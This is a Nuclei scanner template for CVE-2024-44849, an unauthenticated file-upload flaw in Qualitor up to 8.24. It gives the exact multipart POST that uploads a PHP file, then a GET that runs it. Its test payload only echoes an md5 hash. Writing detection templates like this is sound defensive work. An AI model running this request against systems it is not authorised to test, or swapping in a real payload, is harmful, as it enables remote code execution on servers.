id: CVE-2024-44849

info:
  name: Qualitor <= 8.24 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor up to 8.24 is vulnerable to Remote Code Execution (RCE) via Arbitrary File Upload in checkAcesso.php.
  impact: |
    Unauthenticated attackers can upload malicious files to achieve remote code execution on the Qualitor server.
  remediation: |
    Update Qualitor to version later than 8.24 that patches the arbitrary file upload vulnerability.
  reference:
    - https://cvefeed.io/vuln/detail/CVE-2024-44849
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44849
    - https://github.com/extencil/CVE-2024-44849
    - https://blog.extencil.me/information-security/cves/cve-2024-44849
    - https://sploitus.com/exploit?id=D08D686E-7910-5E17-99CC-36407B9884B8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-44849
    cwe-id: CWE-434
    epss-score: 0.46301
    epss-percentile: 0.98659
  metadata:
    verified: true
    max-request: 2
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2024,rce,file-upload,qualitor,intrusive,vkev,vuln

variables:
  filename: "{{rand_base(12)}}"
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /html/ad/adfilestorage/request/checkAcesso.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------QUALITORspaceCVEspace2024space44849

        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="idtipo"

        2
        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmfilestorage"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmdiretoriorede"

        .
        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmbucket"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmaccesskey"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmkeyid"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="fleArquivo"; filename="{{filename}}.php"

        <?php echo md5({{num}}); ?>
        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="cdfilestorage"


        -----------------------------QUALITORspaceCVEspace2024space44849--

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "parent.showQAlert(\'Upload", "showQAlert")
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        GET /html/ad/adfilestorage/request/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220476ee07c5f5dcc3b4d1d43d39bd4ffb2423ace6eb52dc4957953578396e93373022100fc1955fca7b95bea63a5e61a0c219d4a08dfdc96647f4a246b2cc4e62cbb5ccc:922c64590222798bb761d5b6d8e72950